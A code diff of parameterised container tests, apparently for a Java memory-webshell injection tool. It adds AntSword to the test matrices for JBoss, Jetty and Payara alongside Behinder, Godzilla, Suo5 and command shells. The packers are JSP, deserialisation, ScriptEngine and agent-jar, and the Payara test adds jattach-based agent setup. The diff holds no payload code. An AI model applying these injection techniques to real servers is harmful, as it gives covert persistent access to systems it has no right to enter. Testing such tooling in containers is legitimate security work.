arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -58,6 +60,8 @@ public class Jboss610ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -66,9 +70,13 @@ public class Jboss610ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+5
@@ -49,17 +49,22 @@ public class Jboss711ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+5
@@ -46,17 +46,22 @@ public class JbossEap6ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+7
@@ -51,6 +51,8 @@ public class JbossEap7ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -59,6 +61,8 @@ public class JbossEap7ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -67,6 +71,9 @@ public class JbossEap7ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+7
-1
@@ -49,6 +49,8 @@ public class Jetty61ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -57,6 +59,8 @@ public class Jetty61ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -64,7 +68,9 @@ public class Jetty61ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize)
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize)
|
||||
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||
|
||||
+9
-1
@@ -50,6 +50,8 @@ public class Jetty76ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -58,6 +60,8 @@ public class Jetty76ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -66,9 +70,13 @@ public class Jetty76ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar)
|
||||
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+8
-1
@@ -50,6 +50,8 @@ public class Jetty81ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -58,6 +60,8 @@ public class Jetty81ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -66,9 +70,12 @@ public class Jetty81ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+7
@@ -51,6 +51,8 @@ public class Jetty92ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -59,6 +61,8 @@ public class Jetty92ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -67,6 +71,9 @@ public class Jetty92ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+7
@@ -50,6 +50,8 @@ public class Jetty93ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -58,6 +60,8 @@ public class Jetty93ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -66,6 +70,9 @@ public class Jetty93ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+7
@@ -50,6 +50,8 @@ public class Jetty94ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -58,6 +60,8 @@ public class Jetty94ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
@@ -66,6 +70,9 @@ public class Jetty94ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+23
-4
@@ -17,8 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.glassfishPid;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -36,6 +36,8 @@ public class Payara5201ContainerTest {
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@@ -53,6 +55,9 @@ public class Payara5201ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
@@ -65,6 +70,9 @@ public class Payara5201ContainerTest {
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
@@ -76,7 +84,18 @@ public class Payara5201ContainerTest {
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine)
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -89,6 +108,6 @@ public class Payara5201ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
